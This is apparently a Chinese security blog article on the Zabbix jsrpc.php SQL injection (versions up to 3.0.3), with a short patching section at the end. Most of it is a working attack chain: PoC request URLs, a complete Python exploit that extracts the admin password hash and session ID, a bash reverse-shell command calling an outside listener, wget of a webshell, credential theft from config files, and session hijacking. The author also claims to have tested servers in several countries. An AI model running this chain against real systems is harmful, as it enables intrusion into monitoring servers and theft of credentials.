專家?guī)闾接慫abbix sql最新注入漏洞及其利用情況
原創(chuàng)在企業(yè)和個人安全意識不斷增強,對有安全防護的企業(yè)來說,滲透比過去相對困難一些,而一些對硬件、資產(chǎn)等管理平臺仍然存在弱口令等漏洞,一旦通過這些漏洞打開入口,將對企業(yè)安全造成巨大的威脅。Zabbix 是用得非常廣泛的網(wǎng)絡(luò)監(jiān)測軟件,其存在sql注入,聲稱可以獲取管理員密碼,雖然Zabbix 3.0.3以下版本存在漏洞,但如何利用,如何測試,您掌握了嗎?本文帶您實測Zabbix 漏洞,掌握其存在漏洞,其具體利用方法,了解其存在的危險。在本文初稿完成后,筆者對美國、韓國、我國安裝有zabbix的服務(wù)器進行了安全測試,結(jié)果表明美國等西方國家,絕大部分服務(wù)器的zabbix漏洞已經(jīng)修復(fù),而我國在100臺服務(wù)器中高達60臺服務(wù)器未修護。在未修護的服務(wù)器中絕大部分已經(jīng)被人滲透過,最后希望通過本文,能加強大家對漏洞的風(fēng)險認識,盡自己的一點微薄之力。
1. Zabbix sql注入漏洞漏洞簡介
Zabbix 是一個開源的企業(yè)級性能監(jiān)控解決方案。近日,Zabbix 的jsrpc的profileIdx2參數(shù)存在insert方式的SQL注入漏洞,攻擊者無需授權(quán)登陸即可登陸Zabbix 管理系統(tǒng),也可通過script等功能輕易直接獲取Zabbix 服務(wù)器的操作系統(tǒng)權(quán)限。Zabbix 2.2.x, 3.0.0-3.0.3版本存在該漏洞,可能導(dǎo)致敏感數(shù)據(jù)泄漏、服務(wù)器被惡意攻擊者控制進而造成更多危害等,更多信息請訪問其官方網(wǎng)站為http://www.Zabbix .com獲取。
2.漏洞原理與分析
(1)高權(quán)限利用0day
Zabbix 最新SQL注入漏洞于8月12日由安全研究員 1N3@CrowdShield 和 Brandon Perry 負責任地披露于 Full Disclosure(http://seclists.org/fulldisclosure/2016/Aug/82),其提供的poc為:
http://www.antian365.com/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
如果出現(xiàn)以下類似結(jié)果,則表明存在漏洞,該POC的前提必須是具備高權(quán)限用戶。
- SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385);
- select * from users where (1=1)
- latest.php:746 a require_once() a CProfile::flush() a CProfile::insertDB() a DBexecute() in /home/sasha/Zabbix -svn/branches/2.2/frontends/php/include/profiles.inc.php:185
Brandon Perry提供一個0day,經(jīng)測試效果不佳:
- /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
在關(guān)閉 display_errors 的環(huán)境下看不到效果,建議使用一個 sleep 函數(shù),如果頁面阻塞很久才返回,那說明漏洞是存在的,新的 PoC 如下:
- /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
(2)低權(quán)限利用0day可獲取管理員加盟密碼
Zabbix 提供了以guest用戶權(quán)限登錄系統(tǒng),登錄系統(tǒng)后按照以下進行訪問:
http://www.antian365.com/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
http://www.antian365.com為目標站點,如果存在漏洞則會給出如下錯誤信息:
- <div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (191, 2, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (192, 2, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (193, 2, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table>
其中ed733b8d10be225eceba344d533586為管理員的密碼,經(jīng)過核實該密碼目前無法破解,且肯定不是管理員密碼,很多Zabbix 缺省配置Admin密碼Zabbix ,其md5密碼值為5fce1b3e34b520afeffb37ce08c7cd66,如圖1所示,Zabbix 實際md5值。而Guset用戶的密碼值為:d41d8cd98f00b204e9800998ecf8427e,也就是網(wǎng)上公開聲稱的可以獲取管理員的密碼那個0day的POC存在錯誤。
圖1 Zabbix 密碼解密
(3)存在注入點分析
在漏洞文件jsrpc.php中:
- $requestType = getRequest('type', PAGE_TYPE_JSON);
- if ($requestType == PAGE_TYPE_JSON) {
- $http_request = new CHttpRequest();
- $json = new CJson();
- $data = $json->decode($http_request->body(), true);
- }
- else {
- $data = $_REQUEST;
- }
- $page['title'] = 'RPC';
- $page['file'] = 'jsrpc.php';
- $page['type'] = detect_page_type($requestType);
- require_once dirname(__FILE__).'/include/page_header.php';
- if (!is_array($data) || !isset($data['method'])
- || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {
- fatal_error('Wrong RPC call to JS RPC!');
- }
- $result = [];
- switch ($data['method']) {
- ...
- case 'screen.get':
- $result = '';
- $screenBase = CScreenBuilder::getScreen($data);
- if ($screenBase !== null) {
- $screen = $screenBase->get();
- if ($data['mode'] == SCREEN_MODE_JS) {
- $result = $screen;
- if (is_object($screen)) {
- $result = $screen->toString();
- ...
- require_once dirname(__FILE__).'/include/page_footer.php';
通過類 CScreenBuilder 中的 getScreen 方法處理 $data 傳入的數(shù)據(jù)。繼續(xù)跟蹤 CScreenBuilder 類:
- /**
- * Init screen data.
- *
- * @param array$options
- * @param boolean$options['isFlickerfree']
- * @param string$options['pageFile']
- * @param int$options['mode']
- * @param int$options['timestamp']
- * @param int$options['hostid']
- * @param int$options['period']
- * @param int$options['stime']
- * @param string$options['profileIdx']
- * @param int$options['profileIdx2']
- * @param boolean$options['updateProfile']
- * @param array$options['screen']
- */
- public function __construct(array $options = []) {
- $this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;
- $this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;
- $this->timestamp = !emptyempty($options['timestamp']) ? $options['timestamp'] : time();
- $this->hostid = !emptyempty($options['hostid']) ? $options['hostid'] : null;
- // get page file
- if (!emptyempty($options['pageFile'])) {
- $this->pageFile = $options['pageFile'];
- }
- else {
- global $page;
- $this->pageFile = $page['file'];
- }
- // get screen
- if (!emptyempty($options['screen'])) {
- $this->screen = $options['screen'];
- }
- elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {
- $this->screen = API::Screen()->get([
- 'screenids' => $options['screenid'],
- 'output' => API_OUTPUT_EXTEND,
- 'selectScreenItems' => API_OUTPUT_EXTEND,
- 'editable' => ($this->mode == SCREEN_MODE_EDIT)
- ]);
- if (!emptyempty($this->screen)) {
- $this->screen = reset($this->screen);
- }
- else {
- access_deny();
- }
- }
- // calculate time
- $this->profileIdx = !emptyempty($options['profileIdx']) ? $options['profileIdx'] : '';
- $this->profileIdx2 = !emptyempty($options['profileIdx2']) ? $options['profileIdx2'] : null;
- $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;
- $this->timeline = CScreenBase::calculateTime([
- 'profileIdx' => $this->profileIdx,
- 'profileIdx2' => $this->profileIdx2,
- 'updateProfile' => $this->updateProfile,
- 'period' => !emptyempty($options['period']) ? $options['period'] : null,
- 'stime' => !emptyempty($options['stime']) ? $options['stime'] : null
- ]);
- }
CScreenBuilder 類對 $profiles 進行了更新,并且對 PoC 中的 profileIdx2 參數(shù)進行了賦值,但還沒有傳入數(shù)據(jù)庫查詢。
漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php會調(diào)用Cprofile 類:
- if (CProfile::isModified()) {
- DBstart();
- $result = CProfile::flush();
- DBend($result);
- }
跟蹤 flush 函數(shù):
- public static function flush() {
- $result = false;
- if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
- $result = true;
- foreach (self::$insert as $idx => $profile) {
- foreach ($profile as $idx2 => $data) {
- $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
- }
- }
- ksort(self::$update);
- foreach (self::$update as $idx => $profile) {
- ksort($profile);
- foreach ($profile as $idx2 => $data) {
- $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
- }
- }
- }
- return $result;
- }
- ...
- private static function insertDB($idx, $value, $type, $idx2) {
- $value_type = self::getFieldByType($type);
- $values = [
- 'profileid' => get_dbid('profiles', 'profileid'),
- 'userid' => self::$userDetails['userid'],
- 'idx' => zbx_dbstr($idx),
- $value_type => zbx_dbstr($value),
- 'type' => $type,
- 'idx2' => $idx2
- ];
//注入觸發(fā)點
- return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
- }
至此,SQL注入產(chǎn)生 。
(4)可供利用的exp
在獨自等待的博客上面找到一個python的exp(http://www.waitalone.cn/Zabbix -sql-1.html)通過實際測試可以順利獲取管理員密碼以及session,如圖2所示,利用方法為:
- python Zabbix .py http://114.111.111.1:81
圖2 獲取Zabbix 管理員密碼
將以下代碼保存為zabbix.py即可:
- #!/usr/bin/env python
- # -*- coding: gbk -*-
- # -*- coding: utf_8 -*-
- # Date: 2016/8/18
- # Created by 獨自等待
- # 博客 http://www.waitalone.cn/
- import urllib2
- import sys, os
- import re
- def deteck_Sql():
- u'檢查是否存在SQL注入'
- payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
- try:
- response = urllib2.urlopen(url + payload, timeout=10).read()
- except Exception, msg:
- print msg
- else:
- key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
- if key_reg.findall(response):
- return True
- def sql_Inject(sql):
- u'獲取特定sql語句內(nèi)容'
- payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
- sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
- try:
- response = urllib2.urlopen(payload, timeout=10).read()
- except Exception, msg:
- print msg
- else:
- result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
- results = result_reg.findall(response)
- if results:
- return results[0]
- if __name__ == '__main__':
- # os.system(['clear', 'cls'][os.name == 'nt'])
- print '+' + '-' * 60 + '+'
- print '\t Python Zabbix<3.0.4 SQL注入 Exploit'
- print '\t Blog:http://www.waitalone.cn/'
- print '\t\t Code BY: 獨自等待'
- print '\t\t Time:2016-08-18'
- print '+' + '-' * 60 + '+'
- if len(sys.argv) != 2:
- print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 網(wǎng)站地址'
- print '實例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
- sys.exit()
- url = sys.argv[1]
- if url[-1] != '/': url += '/'
- passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
- session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
- if deteck_Sql():
- print u'Zabbix 存在SQL注入漏洞!\n'
- print u'管理員 用戶名密碼:%s' % sql_Inject(passwd_sql)
- print u'管理員 Session_id:%s' % sql_Inject(session_sql)
- else:
- print u'Zabbix 不存在SQL注入漏洞!\n'
3.漏洞實際利用方法探討
對Zabbix 漏洞的實際利用是指在獲取管理員密碼后,通過管理中心添加腳本,執(zhí)行腳本命令來獲取反彈shell,通過shell來提權(quán)或者執(zhí)行其它操作。
(1)獲取管理員密碼
Zabbix SQL注入漏洞可以很方便的獲取管理員的密碼,通過exp直接可以獲取管理員密碼,另外一種方法就是暴力破解,Zabbix 默認管理員賬號Admin/zabbix 、admin/zabbix 。Zabbix sql注入漏洞獲取管理員密碼exp下載地址http://www.antian365.com/forum.php?mod=viewthread&tid=629&extra=
(2)創(chuàng)建腳本
登錄系統(tǒng)后,單擊“管理”-“腳本”-“創(chuàng)建腳本”,如果是英文,則是Administration- Scripts-Create Scripts。如圖3所示。在名稱中隨便輸入一個,例如cat,在命令中輸入“bash -i >& /dev/tcp/122.11x.47.xx/4433 0>&1”,其中的122.11x.47.xx為監(jiān)聽的獨立IP的服務(wù)器。
圖3創(chuàng)建反彈腳本
(3)執(zhí)行腳本命令
在執(zhí)行腳本命令前,需要在監(jiān)聽服務(wù)器上使用“nc –vv –l –p 4433”監(jiān)聽4433端口,完畢后,在Zabbix 管理主界面,單擊“監(jiān)測中”,然后單擊主機列表下的服務(wù)器,右鍵彈出的菜單中選擇剛才創(chuàng)建的命令,如圖4所示,選擇剛才創(chuàng)建的腳本執(zhí)行即可,執(zhí)行成功后會成功獲取的反彈的shell,如圖5所示。
圖4執(zhí)行命令
圖5獲取反彈的shell
(4)查看配置文件并獲取webshell
獲取終端shell后,可以通過locate *.php或者find –name “.php”命令查找php文件所在具體位置,到該目錄后,如果可寫,則通過wget http://www.antian365.com/shell.txt命令下載webshell到本地,并執(zhí)行chmod +x shell.txt命令給shell.txt文件可執(zhí)行權(quán)限,最后將該文件重命名為php文件即可,如圖6所示,成功獲取webshell。
圖6獲取webshell
如果網(wǎng)站當前用戶權(quán)限為root,則可以通過讀取conf/Zabbix .conf文件讀取配置文件內(nèi)容,如圖7所示,可以獲取數(shù)據(jù)庫用戶和密碼。
圖7讀取配置文件內(nèi)容
(5)linux提權(quán)
在實際測試過程中,有部分服務(wù)器是采用root賬號,絕大部分是Zabbix 賬號,也就是普通用戶,對于linux提權(quán),需要查看其相應(yīng)的內(nèi)核版本或者應(yīng)用程序存在漏洞,根據(jù)相應(yīng)的漏洞進行編譯和執(zhí)行,如果存在漏洞則可以獲取root權(quán)限,反之則無法提權(quán)。
(6)在zabbix還可以通過sessionid進行登錄
使用Tamper插件,開啟Tamper插件,在抓取到的包中,通過修改zbx_sessionid值為SQL注入獲取的sessionid值,提交即可進入后臺,如圖8,圖9所示。這種情況主要適合無法破解zabbix通過注入獲取到的md5密碼。
圖8修改zbx_sessionid值
圖9成功登錄后臺
4.在線網(wǎng)站漏洞檢測
(1)https://www.vulbox.com/lab
(2)https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1026
5、漏洞修復(fù)方案
(1)將當前版本升級到最新版本,補丁更新ttps://support.Zabbix .com/browse/ZBX-11023
(2)打補丁
(3)關(guān)閉guest賬號,或者直接將guest賬號刪除。